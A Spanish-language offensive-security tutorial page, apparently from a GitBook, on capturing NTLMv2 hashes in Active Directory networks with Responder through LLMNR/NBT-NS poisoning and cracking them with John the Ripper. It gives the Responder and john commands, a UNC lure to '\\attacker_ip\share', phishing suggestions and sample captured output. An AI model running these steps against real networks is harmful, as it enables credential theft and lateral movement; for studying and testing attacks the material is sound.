> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/active-directory/smb-relay-attack.md).

# SMB Relay Attack

## Introducción

En entornos Active Directory mal configurados, un atacante en la misma red puede capturar credenciales NTLMv2 de usuarios legítimos y crackearlas offline para obtener contraseñas en texto claro. Este enfoque del **SMB Relay Attack** es uno de los más usados en la fase de post-enumeración y movimiento lateral.

En este artículo veremos:

* Qué es el SMB Relay orientado a captura de hashes
* Cómo montar el entorno de ataque
* Cómo capturar hashes NTLMv2 usando `Responder`
* Cómo crackearlos con `John the Ripper` para obtener la contraseña real

***

## ¿Qué es un Hash NTLMv2?

Cuando un cliente Windows accede a un recurso SMB/HTTP, si el servidor requiere autenticación, Windows enviará un **hash NTLMv2** (NTLMv2-SSP) que contiene:

* Nombre de usuario
* Dominio
* Challenge/respuesta
* Otros metadatos

Estos hashes pueden capturarse y, si el password no es robusto, crackearse **offline**.

***

## Preparación del entorno

1. Kali Linux como atacante.
2. Víctima Windows 10/11 o Windows Server con LLMNR/NBT-NS habilitado.
3. Una red donde puedas actuar como MitM o donde los clientes busquen recursos inexistentes (por error o phishing).

***

## Paso 1: Iniciar Responder

Responder se encarga de escuchar en la red y responder a solicitudes LLMNR y NBT-NS, haciendo que el cliente se "equivoque" y se conecte al atacante.

```bash
sudo responder -I eth0
```

Esto activa servicios SMB y HTTP falsos que capturan hashes NTLMv2 cuando la víctima se conecta automáticamente.

***

## Paso 2: Provocar conexión (opcional)

Para acelerar el ataque, puedes usar técnicas como:

```bash
\\attacker_ip\share
```

O si tienes acceso limitado a la víctima, usa phishing o scripts automatizados para que intente acceder a un recurso inexistente (por ejemplo, un link a `\\notaserver` en un documento Word).

***

## Paso 3: Captura del hash NTLMv2

Cuando un cliente cae en la trampa, Responder mostrará algo como esto:

```
[SMB] NTLMv2-SSP Client   : 10.10.10.12
[SMB] NTLMv2-SSP Username : ACME\jdoe
[SMB] NTLMv2-SSP Hash     : jdoe::ACME:1122334455667788:abcdefabcdefabcdefabcdefabcdefabcdef:0101000000000000...
```

Este hash ya está listo para crackeo. Responder lo guarda en:

```
/usr/share/responder/logs/
```

Busca un archivo `.txt` o `.ntlmv2_hashes` con el contenido.

***

## Paso 4: Crackeo con John the Ripper

### 1. Guarda el hash en un archivo

Ejemplo de formato esperado:

```java
jdoe::ACME:1122334455667788:abcdefabcdefabcdefabcdefabcdefabcdef:0101000000000000[...]:::
```

Guárdalo como `hash.txt`.

***

### 2. Ejecuta John

```bash
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

* `--format=netntlmv2`: Tipo de hash.
* `--wordlist=...`: Diccionario de palabras para probar contraseñas comunes.

John intentará todas las combinaciones del diccionario con el hash hasta encontrar una coincidencia.

***

### 3. Ver resultados

Si el password está en el diccionario, verás algo como:

```bash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123       (jdoe)
```

Ya tienes la contraseña real del usuario `jdoe`.

***

## ¿Por qué funciona?

Porque NTLMv2 permite la autenticación sin cifrado real de la contraseña. El hash es una función del password, el nombre de usuario, y un challenge; si adivinas el password correcto, puedes replicar el hash. Si lo igualas → lo has crackeado.

***
